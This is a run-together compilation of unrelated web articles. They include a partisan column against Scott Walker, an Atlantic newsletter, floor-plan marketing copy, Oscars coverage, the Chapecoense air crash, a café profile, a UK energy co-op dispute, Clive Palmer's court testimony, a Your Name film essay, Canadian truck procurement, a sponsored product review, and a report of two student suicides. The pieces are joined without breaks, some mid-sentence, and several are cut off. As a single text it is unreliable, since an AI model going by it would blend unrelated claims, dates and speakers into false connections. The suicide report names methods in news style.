None of that is fiscal responsibility – it’s recklessness. It shows that Walker doesn’t care about the future of Wisconsin or its children: he cares about the future of Scott Walker. He has done nothing to make the lives of the average Wisconsinite better, and has done nothing to earn our votes. If he is reelected – and he’s still got quite a lead on challenger Mary Burke – we are all but guaranteed that he will abandon his office to pursue the pipe dream of the presidency.
In the end, his policies have left the state’s economy in shambles, all in the hopes of winning over the Tea Party types who he hopes can carry him to a Republican presidential nomination in 2016. If he does, it won’t just be the people of Wisconsin who will have to clean up his mess.Follow stories throughout the day with our Politics & Policy portal.
Snapshot
What We’re Reading
‘Dancing With Insanity’: After falling short of expectations in November, Democrats clearly need to rethink their coalition-building strategy, writes Salena Zito. So why did House Democrats reelect the same party leadership? (The Washington Examiner)
The Information War: Right-wingers have manipulated the algorithms of Google and other internet giants, creating “a vast satellite system of rightwing news and propaganda that has completely surrounded the mainstream media system.” This, in turn, has led to the rise of fake news. (Carole Cadwalladr, The Guardian)
An Apple a Day: Often, the best medical care prison inmates receive is during their time behind bars, and when they’re released, many fail to sign up for care until they end up in the emergency room. How can doctors help newly released inmates better manage their health care? (Rae Ellen Bichell, NPR)
‘The Right’s Rising Media Star’: Meet Tomi Lahren, a 24-year-old conservative talking head whose nightly show on The Blaze has garnered her more than 4.3 million social media followers—and a reputation for incendiary comments. (Jonah Engel Bromwich, The New York Times)
Obama’s Washington: Here’s how the First Family influenced the cultural geography of the nation’s capital—a city that has become “richer, younger, and whiter” in the past eight years. (Elaina Plott, Washingtonian)
Visualized
What Happens Next?: The upper-Midwest states that voted for Donald Trump may suffer the most if the Affordable Care Act is repealed. Check out these maps to see how. (Philip Bump, The Washington Post)
Question of the Week
Last week, President Obama lit the National Christmas tree for the final time—less than a month after pardoning his last turkey. For the next four years, it will be Donald Trump’s turn to carry on the many White House traditions. Which presidential tradition is your favorite—and why?
Send your answers to hello@theatlantic.com, and our favorites will be featured in Friday’s Politics & Policy Daily.
-Written by Elaine Godfrey (@elainejgodfrey)Floor planning is the basic part of a building plan. It makes the apartment appropriate in terms of looks and comfortability. Moreover, when a smart buyer looks for a plot or a building on sale, the first thing which comes into consideration is the planning.
To place the floor properly, you need to take the help of a professional for understanding the flow of the property. Floor plans for real estate allow the buyers to imagine the mapping of their furniture and how they will sort out rooms for their kids. Property photographers provide floor planning while maintaining the correct dimensions and the total property size utilisation. Floor plans are available in a great variety of options. It is important to select the plan which suits your budget, space utilization, and the correct direction. The layouts are drawn in typical black and white. To create an attractive plan, you can opt for a coloured or a textured plan showcasing the internal & the external finishes. In the textured plan, you can also opt to add details with tiles and decking along with imaginary furniture. For a larger property, the floor plans are created with relation to the garden or grounds outside.
The most sophisticated plan the 3D plans which are generated using 3D software. These plans are the best for yet-to-be-built properties which brings life in them.
Why floor plans are an important aspect of real estate?
Basically a floor plan is a drawing that shows the property from above. It actually helps to determine the spaces between the rooms. A good floor planning can increase the value of a property for re-sale and also help to create an engaging listing. Most of the buyers do not enquire much if the floor plans are provided. It has been seen that customers generally bounce back from listings which do not have a floor planning. This shows that if you want more buyers to visit your property, including a floor plan is must.
How does a floor plan work?
You can draw the floor planning by yourself but it can turn out to be a miss guiding outcome. As such, it is suggested to create floor plans for real estate from a professional. They measure the walls and the spaces to give accurate results. They also add more details with matching colours. To make the floor plans clearer, individual measurements are given for individual rooms with their names on them.The 2017 Oscars kicked off with some singing and dancing from Justin Timberlake (which is never a bad idea), and led to a full-fledged dance party in the audience. Then came Jimmy Kimmel‘s opening monologue, which, as expected, was very political.
“This broadcast is being watched live by millions of Americans and around the world in more than 225 countries that now hate us,” he began. Kimmel then talked about our divided country, and said he can’t help people unite. He then poked fun at Mel Gibson, saying that there’s “only one Braveheart in the audience, and he can’t unite us either.” But, he said, that we can “Make America Great Again” by trying to have constructive conversations with those we disagree with.
Of course, it wouldn’t be a Kimmel bit without at least mentioning his ongoing “feud” with Matt Damon, calling him “a selfish person.”
He also mentioned President Donald Trump by name, thanking him, and asking, “Remember last year when people thought the Oscars were racist?”
Kimmel then discussed the nominees and gave a special shoutout to Meryl Streep and referenced her Golden Globes speech calling out Trump as well as Trump’s tweet from the next day, where he called her “overrated.” Kimmel said Streep has “phoned it in for more than 50 films over the course of her lackluster career.” Tonight, she’s been nominated for her 20th Oscar. He then had the audience give her a “totally undeserved” round of applause.
Watch the video above.
[featured image via screen grab]
Have a tip we should know? tips@mediaite.comMedia playback is unsupported on your device Media caption The recording captures the final moments of the plane before it crashed
The plane which crashed in Colombia killing most of a Brazilian football side had run out of fuel, according to a leaked audio recording.
A pilot can be heard repeatedly requesting permission to land due to an electric failure and lack of fuel.
Only six of the 77 people on board the plane survived.
The team, Chapecoense, had been due to play a cup final in Medellin on Wednesday evening. Fans instead gathered to pay tribute.
Thousands of people carrying candles and wearing white filled the stadium where Chapecoense was to have played Atletico Nacional.
At the same time, Chapecoense fans held a tearful vigil at their home stadium in Chapeco, Brazil, which was draped in black ribbons. Both stadiums were filled to capacity.
Image copyright Reuters Image caption Atletico Nacional fans wore white to pay tribute to the Chapecoense players
Image copyright Reuters Image caption Chapecoense fans mourned victims of the plane crash at their stadium in Chapeco
What the audio tells us
The leaked conversations between the flight crew and a Colombian air traffic controller give a glimpse of the frantic, final moments of the doomed plane.
The pilot and can be heard warning of a "total electric failure" and "lack of fuel".
Just before the tape ends, he says he is flying at an altitude of 9,000ft (2,743m). The plane slammed into a mountainside near the Colombian city of Medellin late on Monday.
Image copyright EPA Image caption The flight's data recorders have been retrieved and are being examined
That there was no explosion when the plane came down also points to lack of fuel, with one Colombian military source telling the AFP agency its absence was "suspicious".
It is not known why the plane was out of fuel: whether it was because of a leak or because there was not enough on board.
Investigators have yet to announce any single cause for the crash and a full analysis is expected to take months.
What we know
Who was on board?
Chapecoense were flying to Medellin for what would have been the biggest match in their history - the final of regional tournament the Copa Sudamericana.
The team lost 19 players in the crash. Twenty journalists were also killed.
Among the survivors, Chapecoense said that two players remained in a critical but stable condition, while the club's goalkeeper had had one leg amputated and might still lose his other foot.
An injured journalist also remained in critical condition, the club said.
Another survivor, flight technician Erwin Tumiri, said he was still alive because he followed safety instructions.
"Many stood up and started shouting," he said. "I put the suitcases between my legs and assumed the brace position."
A team torn apart
What has the reaction been?
Three days of official mourning is under way in Brazil, with thousands of fans in the city of Chapeco massing in their home stadium to mark their loss.
Chapecoense directors say they expect up to 100,000 to attend collective funerals once all the bodies have been identified, most likely on Friday or Saturday.
"We're very anxious for the arrival of the bodies, to give them a last tribute, which they deserve. The city has stopped, waiting for that moment to come," said one supporter.
Image copyright Reuters Image caption Chapecoense fans have been gathering at their home stadium
There has been an outpouring of grief and support from the football world.
The team Chapecoense were due to play in the Copa Sudamericana, Atletico Nacional, have offered to concede the game so Chapecoense are declared winners, while leading Brazilian sides have asked the league to protect the side from relegation.
Many of football's most famous names, from Lionel Messi to Pele, have offered condolences.After many years vacant, the commercial space at Walnut Place, facing Independence National Historical Park, is about to spring to life thanks to a pair of socially minded entrepreneurs. Thomas Steinborn, a communication designer from Germany, and chef David Wong, a graduate of Le Cordon Bleu in Sydney (who also studied Viennese baking at Ecole Grégoire Ferrandi in Paris) have partnered on a concept that’s half café and half social experiment. The project, which opens to the public in July, is called “FRIEDA for generations.”
Renovate and Re-connect
Built in 1926, the former Maryland Casualty Company office at 312 Walnut Street sat empty for almost 17 years, its generous transom window hastily blocked with plywood. The ground floor commercial space failed to attract prospective tenants. It could not be easily ventilated for a restaurant and the tall ceilings presented challenges. Inside, the peeling painted ceiling was crisscrossed with haphazard plumbing lines dropping from upper floors with no regard for architectural grandeur, though the building was listed on the Philadelphia Register of Historic Places in 1999.
Nothing stirred in the space until Nolen Properties and PMC Property Group bought the building in 2012, converting the offices on the upper six floors into apartments and leasing the ground floor to Steinborn and Wong, who came to Philadelphia from Sydney, Australia.
The two are hoping to leverage personal experience, current demographic trends, and extensive market research for the inter-generational cafe concept, which they envision as a hub for community art workshops, vocational training, industrial design prototyping, and, ultimately, a place to re-connect people of all ages and economic situations. Rather than create yet another place to get coffee, the founders of FRIEDA for generations want to bring the young and old together in a forward-thinking, design-minded environment.
Retirement poses a dilemma not only for the individual, but also for society. Steinborn understood this as his own mother faced retirement. He and Wong have applied their professional backgrounds with the start up’s mission to address the conflicts and loneliness of aging in a society that arbitrarily labels anyone over fifty as old. The organization’s business design is all about social engagement with a dash of basic human courtesy, like “holding a door open for someone,” says Steinborn.
Community And Design
The name of the start up is a loving tribute to the memory of Steinborn’s grandmother, Frieda. Once the cafe is open in July, FRIEDA aims to generate in-house social networking, while promoting design through highlighting local craftsmanship with its made-in-Philadelphia proposition where everything including the furnishings are for sale. If you like the elegant, handcrafted chair you’re sitting on you can buy one from the woodworker through the cafe. The beautiful coffee mug you’re holding? Inquire at the counter and buy one from the local potter.
After scouting different cities in the US, Steinborn says he and Wong were most drawn to Philadelphia’s energy. “I can feel it. Something is moving,” says Steinborn. He sees the city as having a manageable scale where one can have an unusual, creative idea and realistically pursue it. There is also a tradition of community involvement here that dovetails with their organization’s social concept.
Everything about FRIEDA is about design, but without the lofty complexity. “Just be normal!” says Steinborn, who says he is tired of the pretentious nature of so many new cafes, contemporary design venues, and designers. Respectfully, he even takes the vaunted “Maker” culture with a grain of salt. “This is just what people did in earlier times,” Steinborn says, implying there was no hand wringing about “authenticity.”
Outreach strategies are fundamental to the operation. Successful community baking and other cross-generational workshops have been underway offsite, as the cafe space won’t be public until its soft opening on July 4, 2015. But already Steinborn and Wong’s FRIEDA original cookies are in demand and will be available at the Franklin Flea Headhouse |
co-operative energy in the UK at risk.
“David Cameron’s government talk a good game on community energy – but the reality is that future energy co-ops are being put at risk by a change of approach by the FCA. This sudden change threatens a model that combines the twin goods of decarbonisation and community involvement in energy,” said Greatrex.
“The FCA must urgently reconsider their approach – and Ed Davey needs to wake up and get a grip to prevent lasting damage to the prospects of more community energy projects in the UK,” he added.
Mike Smyth, chairman of Energy4All, which helps community groups set up energy co-ops, said that six weeks ago “completely out of the blue” the FCA stopped registering new energy co-ops, and had blocked six to eight applications that he was aware of.
“It has put a complete block on the development of this area of mutual activity, without any adequate explanation and showing a huge misunderstanding of what’s going on. The energy sector is completely appropriate for mutual involvement – there is huge amount of mistrust in energy companies – and they’ve [the FCA] put all that on hold.
“The government’s policy is that all new renewable energy generation from next year should be partially or more owned by a community energy organisation. And the FCA is actively undermining this policy by removing the most appropriate business for that. It makes things more difficult, stifles innovation, and precludes participation by people in the energy sector.”
A spokeswoman for the Department of Energy and Climate Change said: “We are well aware of the matter with the FCA and have already met with them to discuss the changes. We are now working with the FCA to ensure the right balance is struck between member protection and realising the enormous potential of community energy.”
At the heart of the issue is the question of whether energy co-operative members participate actively enough in the co-op. To register a co-op, FCA rules require a mutual to show participation which it lists as “buying from or selling to the society”, “using the services or amenities provided by it” and “supplying services to carry out its business”.
But unlike a co-op shop, which can sell direct to its members, energy co-ops are too small to apply for licenses that would mean they could sell electricity from a wind turbine directly to members – instead, they usually sell to the national grid via a broker, and divide the profits between members.
In the letter to Wheatley, signed by Greatrex, Mark Lazarowicz MP and Claudia Beamish MSP, it says: “We understand that there has been some ambiguity about the meaning of the word “participation” in ascertaining whether a project is a bona fide co-operative. Participation is clearly more than just a narrow question about whether the product of the co-operative is traded solely with members.
“There may be other forms of participation that the FCA has not considered. So long as this question remains open, we do not believe that the FCA can reasonably move to block future cooperative energy projects.”
Communities can apply for a separate mutual model, known as Community Benefit Societies, but Smyth said such societies were “less flexible” and “less appropriate”.
An FCA spokeswoman did not confirm whether there had been a shift in the authority’s stance towards energy co-ops, but said: “One of the conditions for registration is that the applicant must be a bona fide co-operative society where members participate in its business. When applicants cannot demonstrate this to the FCA, in accordance with the [Co-operative and Community Benefit Societies] act, we cannot register them.”Clive Palmer 'can't remember payments of $15m' made by his mining empire, court hears
Updated
Clive Palmer cannot remember details of multi-million-dollar payments made by his mining empire while he was chairman, a Brisbane court has heard.
The businessman and former federal MP is giving evidence before the Federal Court as liquidators probe his involvement in the failed Queensland Nickel company.
One 2012 transaction was a $US15 million payment from Queensland Nickel to Mr Palmer's personal account.
When asked what the money was for, Mr Palmer told the court he did not know.
"It could have been for parties, I don't know," he said.
"I don't know what it was without going through the records.
"I'm sure it was for a legitimate purpose.
"It's four years ago. I can't remember payments of $15 million."
In a tense exchange with Walter Sofronoff, QC, barrister for liquidator FTI Consulting, Mr Palmer repeatedly answered "I can't recall" when probed about specific transactions.
Mr Palmer said the details of the transactions were in Queensland Nickel journals.
Other payments brought up in court included an $8 million loan to Mr Palmer's father-in-law, which he said was in exchange "for natural love".
Mr Palmer said he did not recall why a $15 million payment was made to a resort he owned in Tahiti, or specifically why a $4 million payment was made to a Queensland Nickel worker in China.
During Mr Palmer's testimony, Mr Sofronoff criticised the billionaire for dodging questions or not answering them properly.
"Answer the question. You're not here to make speeches," he said.
When shown a 2014 loan document which said Queensland Nickel owed Mr Palmer himself $20 million, he said he could not remember what the money was for.
Mr Palmer said his memory was fuzzy at the time because he was in Federal Parliament as the member for Fairfax on the Sunshine Coast.
"I wasn't focused on Queensland Nickel, I wasn't perturbed that Queensland Nickel owned me $20 million personally... I was in Parliament serving the Australian people," he said.
'I love my father in law'
Mr Palmer will return to the stand tomorrow, where Mr Sofronoff is expected to continue his cross-examination.
After proceedings on Wednesday, a jovial Mr Palmer said his time on the stand had been "a really pleasurable experience" and pledged to return.
Noticing a television journalist filming a piece-to-camera nearby, Mr Palmer interrupted the reporter and declared the $8 million loan to his father-in-law was a gesture of love.
"I'm happy to give him my money and if he wants more money just tell him to write me a letter because I love him so much," Mr Palmer said.
"See you," he quipped, as he got into his car before it drove off.
Topics: clive-palmer, courts-and-trials, mining-industry, brisbane-4000, townsville-4810
First postedWhat Gets Lost (Your Name Analysis)
In Gigguk’s recent video on Your Name, he expresses a viewpoint I’ve heard too often to continue sitting on my heels about it. To quote the video: “…even though Your Name has a natural disaster in it, I don’t feel like it’s a film about disasters.” He goes on to suggest the comet strike’s “real purpose” is to provide “spectacle” and explosive set pieces. I don’t mean to call Gigguk out here, as he explicitly states his video is just an explanation of why he enjoys the film, and his video style isn’t suited for the kind of discussion I want to have anyway. His video just works as a solid starting point, as it represents a disappointing lack of discussion on two large concerns of the film: the conservation of culture and the preservation of human connections.
The film consists of three natural disasters, two of which we do not witness directly, but all of which we see the effects of. The first of these is the first comet impact 1,200 years ago that shaped the landscape of Itomori. Both the great lake at the edge of town and possibly the crater surrounding the shrine god’s body (this might be a caldera, which could imply a fourth disaster) are results of the first comet impact and have a profound effect on the town’s development moving forward—more on this later. Although we can’t be sure if a large written/architectural/artistic history was destroyed by that impact, we can trace the cultural development of Itomori following the disaster.
This brings us to the second disaster, and the first confirmable instance of cultural loss or (more accurately) a gap in cultural memory. The Great Fire of Mayugoro destroys both Miyamizu Shrine and all the historical and cultural records stored nearby and within. Since Itomori would have been an extremely small village in the 1800’s, it is safe to assume everything that could distinguish Itomori from any other village would have been stored around the village’s religious center. Thus, a millennium’s worth of Itomori’s culture disappears from memory. As an example: the portraits of Miyamizu family members displayed in Mitsuha’s home only go back a few generations. Every family member who lived before the Fire is essentially forgotten.
As Mitsuha’s grandmother describes the Fire, she tells the thread-twining Yotsuha to “listen to the thread’s voice” so that emotions can flow between her and the thread. When Yotsuha protests that “threads don’t talk”, her grandmother explains that “1,000 years of Itomori’s history is etched into [the] braided cords” the Miyamizu family makes. Importantly, she states that “even if words are lost, tradition should be handed down.” So it is that the Miyamizu family attempts to revive the lost past by practicing their braiding and performing their Shrine rituals. What Yotsuha should attempt to hear in the thread is that millennium of lost culture and history preserved through the braided cord traditions—be it literally stored in the threads or figuratively. Notably, this history and culture is in reference to the first comet strike; these are festivals, rituals, names, etc. that were developed in response to Itomori’s first disaster.
Finally, there is the obvious disaster of the present-day comet strike. Although the moment of impact is grand and something of a marvel to see animated right before your eyes, this does not take away from the tragedy and consequence of the disaster. The fact we don’t see anyone die or suffer firsthand does not make this disaster superfluous. It is not a contrivance to motivate Taki and Mitsuha or to amplify the energy of the movie. We witness it because we have to witness it, and its grandeur is there to sell its destructive power.
We can begin to understand the effects of this disaster by first observing the timeline in which Mitsuha does not survive. On his date with Okudera, Taki visits a photo exhibit entitled “Nostalgia” which features many photos from the destroyed Itomori. Without overanalyzing the linguistics, “nostalgia” comes packed with a connotation of “impossible to recover”. We are nostalgic in reference to times, situations, and environments that we don’t believe we can reconstruct. As I mentioned in my First Thoughts, Itomori is a place that cannot be physically reached after the comet strike. Not only is it barricaded off, but its buildings and roads and even patches of grass simply do not exist anymore. Their physical actualization has been swept away, just like the records of Itomori’s cultural history were in Mayugoro’s fire.
That nostalgic scenery and architecture can only be communicated—can only be “heard”—through artistic replications in the form of photographs and Taki’s drawings. The moment Taki stands in front of the photo exhibit, hearing Itomori’s past, is the same moment Okudera realizes that she is not the girl in his heart. Okudera is able to pick up on the transfer of some emotional energy (Mitsuha’s energy) between Taki and the photos, and she ends the date shortly after by saying that she can tell he likes someone else. Later on, she expands upon this when she tells Tsukasa that she’s “sure [Taki] met someone and that someone changed him.” This abstract perception of change is akin to the way the artistic form of Itomori’s rituals survived despite their concrete purpose disappearing.
Cultural nostalgia via art continues to play a major role throughout the film. Remember that it is Taki’s drawing of Itomori that convinces the old ramen chef to drive him back to Itomori and pack him a bento. Again, there is an emotional or spiritual spark in someone because of nostalgic renditions of a cultural past. Here, it is vital not to forget that this is a film that takes place largely in the relative past—the present of the film is explicitly stated to be 2016, while the events in Itomori are set in 2013. Thus, the film itself accesses this nostalgic power. I don’t intend to discuss whether/to what extent Shinkai is grappling with the real Fukushima disaster or any other real disaster, but it goes without saying that Japan is a nation that is unfortunately familiar with disaster, but also values its cultural heritage.
The importance of this nostalgia and of passing down traditions even after the “words” behind them have disappeared is shown through the old chef. Having some artistic or abstract memory of your culture or heritage is a means to cope with what you’ve lost. It is a means to cope with that inaccessible component of nostalgia. It is a reassurance that our transient physical forms and productions will not be gone forever once they are destroyed. Cultures and human connections survive via traditions, ideas, replications, and repetitions. Mitsuha and Taki personify this system of survival.
The film makes sure we understand that Taki and Mitsuha’s memories of each other’s lives are imperfect and fading. While Mitsuha forgetting Taki is of less importance in this discussion, Taki forgetting Mitsuha is the crux of the argument. First, we need to understand that, to a great degree, the Miyamizu family represents Itomori. The name Miyamizu itself means “water temple”, a reference to the Miyamizu shrine that overlooks the great lake, as well as the shrine god’s body that is encircled by water. Obviously, the Miyamizu Shrine encompasses Itomori’s entire culture (particularly so before Mayugoro’s fire, as mentioned). Although not a Miyamizu by blood, Mitsuha’s father was once a Shinto priest and is now Itomori’s mayor, further solidifying the Miyamizu family as a stand-in for the town itself.
So, when Mitsuha’s “presence” in Taki’s life begins to vanish—he forgets her name (a word, keep in mind), her diary entries disappear (words), he can’t reach her by phone call (communication via words), etc.—it is representative of Itomori fading from his memory. And sure enough, he struggles to recall Itomori’s name just as he will later struggle to recall Mitsuha’s. Itomori’s culture, including Taki’s emotional connection with Mitsuha and the town itself, is only preserved through his visions of her life. He can remember the landscapes and architecture of the town, but not the name. In a sense, Taki is a historian and an artist, building up memories in the braided cord he wears on his wrist so that eventually he can possess such a strong vision of the past that he can save it from physical annihilation in one timeline and cultural annihilation in another.
After all, Taki doesn’t just go on high school hijinks when he lives Mitsuha’s life. He works Mitsuha’s job braiding cords, he experiences the same teasing she does for being a Miyamizu, he visits the shrine god’s body, and he even builds a “café” for Mitsuha and her friends. He is living in such a way that puts him in contact with all of Itomori’s culture, past and present. He has to hear the name Mayugoro and hold the kuchikamizake before he can save Mitsuha (and her memory), but he also has to experience what it’s like to live in a small town and navigate being the mayor’s daughter and shrine’s maiden. I want to stress how integral these cultural experiences are to the story because although Your Name is a story about love, it doesn’t end within those boundaries.
The film’s title references the (supposed) driving conflict of Mitsuha and Taki remembering each other’s names, but those names are words that become lost even though the love and nostalgia of their connection survives. The concrete, physical convergence of the two characters is repeatedly stifled as they pass each other over and over without recognizing each other, but the abstract nostalgia persists. They both feel as though they are “always searching for something.” In the final montage that leads up to their reunion, Mitsuha and Taki both wake up and look down at their hands where words used to exist, but now only a feeling and a vague connection remain.
This conflict between concrete, physical actualizations of love and human connection vs. the abstract nostalgia that seems to be all that characters are able to obtain is quintessential Shinkai. 5cm/s, Garden of Words, Voices of a Distant Star, and really all the rest of his movies and shorts take this conflict and apply it almost exclusively to romance. They contain lovers that can never physically become one for some reason or another, despite their intense emotional connections. Your Name universalizes this struggle to an extent, and portrays it as a cultural conflict. The film questions and explores how difficult it is for culture to persist in the face of physical separation and destruction. What is lost culturally in a disaster? How can culture survive after a disaster? What persists through art vs. memory, and what effect does that have on individuals? These are the questions Your Name asks.
The film is a love story for sure, but that includes a love between people and the environments and communities that shaped them. Your Name cannot be boiled down to an expression of romantic nostalgia or adolescent nostalgia. There is too much packed into the film that shows how the loss of cultural history, physical environments, and general human connections can affect people. There is too much reflection on the persistence of traditions to claim the story doesn’t step outside the boundaries of a love story or coming of age story.
When Taki returns to the shrine god’s body in his own timeline, he discovers the painting of the first comet strike after drinking Mitsuha’s kuchikamizake (a culturally-dense product of the past). To get to this point, he crosses into the “underworld,” which can be interpreted as the cultural past and the deceased cultural heritage of Itomori. Here, he physically engages in musubi with Mitsuha for the first time by consuming “half of [her]”. As Mitsuha’s grandmother explains, even drinking and eating are forms of musubi. Taki sees a vision of Mitsuha’s past, and is continuously connected to this history by the braided cord on his wrist. He wonders aloud if time can really be “turned back.”
Of particular interest here is Mistuha’s father’s reaction to the death of his wife. So long as Mitsuha’s mother was alive, her father felt connected to the Miyamizu family, the priesthood, and the cultural history of Itomori. Yet, as soon as her mother dies—her father’s physical connection to the Miyamizu family and Itomori—things change. That connection is severed. “I couldn’t save her,” he cries. He says he “loved [his] wife…not Miyamizu Shrine.” Because the physical actualization of his connection vanished, he loses his emotional connection to the Miyamizu family as well.
Mitsuha’s father demonstrates the kind of tragic ruptures humanity can experience when the abstract and emotional fails to survive after the removal of the concrete and physical. He does not simply lose the love of his life and struggle to live on—he loses all connection to a cultural heritage that defined him for years leading up to that tragedy. This severance is portrayed as wholly upsetting. It causes Mitsuha to grieve and cry, it enrages Mitsuha’s grandmother, and it creates a rift between Mitsuha’s father and the rest of the Miyamizu family that threatens to keep them emotionally distant for life. Almost none of these consequences are matters of romance—they’re deeply rooted communal and familial tragedies.
Taki sums it all up in his job interviews at the end of the film. He wants to become an architect because he wants “to build landscapes that leave heartwarming memories.” He thinks about what would be left behind emotionally and culturally if Tokyo was to disappear one day. To him, the images implanted in people’s minds, the emotions he can fill them with, are how he feels both his work and the culture of a community will survive the test of time and disaster. He wants to fight against the tragedies that besieged the Miyamizu family and threatened Itomori’s culture, and insure that the emotional connections he creates can survive any disaster.
Okudera and Taki even reflect on their experiences involving Itomori in the final timeline. A giant sign memorializing the eighth anniversary of the Itomori disaster hangs in Tokyo, and the two characters discuss the past. Okudera struggles to remember the number of years since they visited Itomori, saying it “seems like [she’s] forgotten a lot.” Again, this is a concrete detail she’s forgotten. Taki, too, can’t remember many details, but knows he was “inexplicably drawn” to Itomori. He can’t remember why he obsessed over news articles and records of the town, but he knows there was some meaning in it for him. This mirrors how the many rituals and festivals of Miyamizu Shrine have a forgotten purpose, but a preserved importance.
Your Name is ultimately about remembering. The human struggle to remember the past is personified and dramatized through the romance of Mitsuha and Taki, but not condensed into that romance. Taki and Mitsuha chase after each other the same way humans chase after the meanings behind traditions. If anything, the film’s core meaning and emotional impact would be more likely to remain after the removal of a romantic plotline than a disaster plotline. When Mitsuha and Taki ask each other what their names are, they are like survivors of a cultural heritage trying to decide for themselves what the traditions, memories, and emotional connections etched into their hearts mean to them in the present day. That question is the core of the film.
After all this, there is still endless formal elements to discuss and all sorts of alternative angles to take for analysis, but that is all for another time. I only wanted to explore the idea of disaster in Your Name here. The staff behind this film packed a lot of love and effort into it, so there will always be more to discuss and alternatives to consider. For now, I’m content to try and find the words behind my own powerful connection.
If you’re interested in hearing Shinkai’s take on the topic, check out this decent article by VICE.
AdvertisementsThe Canadian government has gone to court to overturn a trade tribunal ruling that it bungled the $830-million purchase of new trucks for the military.
Last year the Canadian International Trade Tribunal ruled that the process, which awarded the truck contact to Mack Defense of the U.S., was flawed.
The CITT found in favour of Mack’s rival, Oshkosh, and called on Public Services and Procurement Canada to conduct a new evaluation of the trucks to be bought for the Canadian Forces.
The ruling was yet another blow to the program, which had been trying new trucks since 2006.
But instead of complying, the federal government has decided to challenge the CITT decision.
Public Services and Procurement Canada declined comment as the matter is before the Federal Court of Appeal. “The contracts with Mack Defense LLC have not been cancelled and the project is moving forward as planned,” department spokesman Nicolas Boucher stated in an email.
Department of National Defence spokeswoman Jessica Lamirande said the first delivery of the trucks is expected sometime in late fall. The final delivery is expected in mid-2019, she added.
The Conservative government announced in 2015 that Mack Defense had won the $834-million contract to provide 1,500 trucks.
Oshkosh then challenged the award before the CITT, arguing that there were significant errors in the evaluation of the vehicles.
The CITT, which reports to Parliament, provides Canadian and international firms with a process to investigate complaints against federal government procurement. At the time of the CITT ruling, Oshkosh issued a statement that while it was “disappointed in the significant errors found in the conduct of the evaluation process, we look forward to a fair and timely implementation of the Tribunal’s recommendations.”
The company has declined to comment on the federal government’s appeal of the CITT findings.
But industry representatives point out that if the federal government loses its court case, it will likely have to pay significant penalties to Oshkosh since the trucks being provided by Mack will have already been delivered.
Mack Defense, of Allentown, Pa., has been awarded two contracts to provide standard military pattern trucks and related equipment for the Canadian Forces. Assembly will take place in a Sainte-Claire, Que., plant operated by Prevost, one of the firms partnered with Mack.
The project to replace 1980s-era military transport trucks was originally announced in 2006 by then Conservative defence minister Gordon O’Connor. It was considered a priority because the vehicles they were to replace had become a safety hazard, with faulty brakes and excessive rust.
But the truck program has been plagued by problems and missteps by the DND.
At one point the Conservative government stopped the procurement process entirely after DND tried to spend hundreds of millions of dollars without permission.
The department had received government approval to move forward with a $430-million purchase of 1,500 trucks. But in subsequent years, department and military officials began adding more capabilities to what they wanted in the vehicles, bumping the estimated cost to more than $800 million.
And in an unprecedented move, DND officials continued on with the acquisition without getting government approval to cover the extra hundreds of millions of dollars.
When Treasury Board and Conservative government officials discovered in 2012 what was happening, they intervened, shutting down the project, just minutes before bidding was to close.
It was restarted in 2013.
In addition, the Ottawa Citizen reported that in 2008 and 2009, infighting between army and DND officials over the requirements for the trucks led to further delays. At the time, the DND issued an email statement: “The project is not in trouble.”
dpugliese@postmedia.com
Twitter.com/davidpuglieseThank you to Aluminyze for providing me with product, free of charge, for review. All opinions are my 100% my own.
We’ve been in our home now for over 11 years and there are still little (and even big) projects that keep popping up. Most recently, I had two in mind so I turned to Aluminyze for help. They offer a unique way to display prints as well as a great selection of Ready Art. Lightweight and unique, the results are stunning.
I have always found the wall along a stairway to be a difficult area to decorate. Originally, I had our entire living room one color. Then, because that wall still bothered me, I decided to paint it an accent color to see if that would help. While it improved the overall look, I still felt like something was missing. So then I added a wall decal. I was getting close. The final touch that Aluminyze added gave me a sense of completeness. Check out the results below.
Before:
After:
Our next project was quite a bit bigger. It was a complete office remodel. Originally, we didn’t have an office so we purchased a huge roll top desk to contain everything and it was in our living room. After the addition of a laundry room and garage, we made our old laundry room into an office. Well, we spent over a year in this cramped quarters before my husband decided enough was enough. We decided to forego the two separate bulky desks and have a custom office created by an awesome local craftsman. The results are nothing short of amazing. To complete our office remodel, Aluminyze sent me one of their Ready Art prints. There are so many prints available in Aluminyze’s Ready Art gallery that I spend a couple hours browsing before settling on one! Now, at all four office stations, we can turn around and see this gorgeous waterfall print on our wall.
Before:
After:
Both our Custom Photo and the Ready Art prints are absolutely gorgeous. I chose the glossy finish for both and they just shimmer and shine while being eye-catching unique pieces of art in our home. I had a hard time getting my camera to catch the brilliance of these pieces as they are quite stunning in person.
Buy It: Head over to Aluminyze to see for yourself everything they have to offer.
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Win It: Aluminyze is generously offering one of our lucky readers their very own 11×17 Print. The giveaway is open to US and Canada and will end March 13th, 2015. For your chance to win, enter the Giveaway Tools below. Good luck!
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I’m a city girl turned country by my awesome husband and we have three busy boys and two darling daughters. I love spending time with my family, reading Karen Kingsbury novels, and catching up with friends while our kiddos have play dates. I’m blessed beyond measure and can’t wait to see what God has in store.
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Related posts we've written:White Hall residents are struggling to make sense of the hall’s second suicide in seven days after the discovery of the body of a 19-year-old male student in the building on Tuesday.
Chad Baldwin, UW’s director of media relations, confirmed the death.
“I can confirm that there was a student death in White Hall today, a 19-year-old male. It appears to be a suicide by asphyxiation,” Baldwin said.
The death comes exactly one week after another student’s body was found in a car in the parking lot of White Hall following suicide via self-inflicted gunshot wound. On Tuesday that student was identified as Martin Oppenheimer, a UW freshman from Cleves, Ohio. Albany County Coroner Jennifer Graham confirmed Oppenheimer’s identity and the cause of his death.
“His name is Martin Oppenheimer and he did die of a self-inflicted gunshot wound to the head,” Graham said.
In a statement sent to all UW students, UW President Dick McGinity discussed both suicides, and the importance of community during the difficult time.
“Today, another student died of an apparent suicide in one of the residence halls. The death is under investigation and we are in contact with his family and friends to make sure they have the support and services they need,” McGinity said in the statement.
“During this time of great loss we are reminded of the importance of community. Losing a fellow student and member of our university can be very difficult.”
Freshmen in the lobby of White Hall on Tuesday night were reeling from the news. Friends of the more recent suicide victim gathered on their floor to grieve and learn about the resources available to UW students.
“Your community, your peers, your fellow residents here, members of the staff, faculty, instructors, those of us at the counseling center—there are so many people who want to be there for you and want to support you,” Keith Evashevski, director of the university counseling center, said. “So please let us know if you need help.”
McGinity also emphasized the availability of mental health resources in his statement.
“I encourage those who feel they may need additional support to contact the UW Counseling Center, located in 341 Knight Hall,” McGinity said.
CommentsPitt and Penn State last played in 2000. Now, 16 years later, the rivalry is renewed.
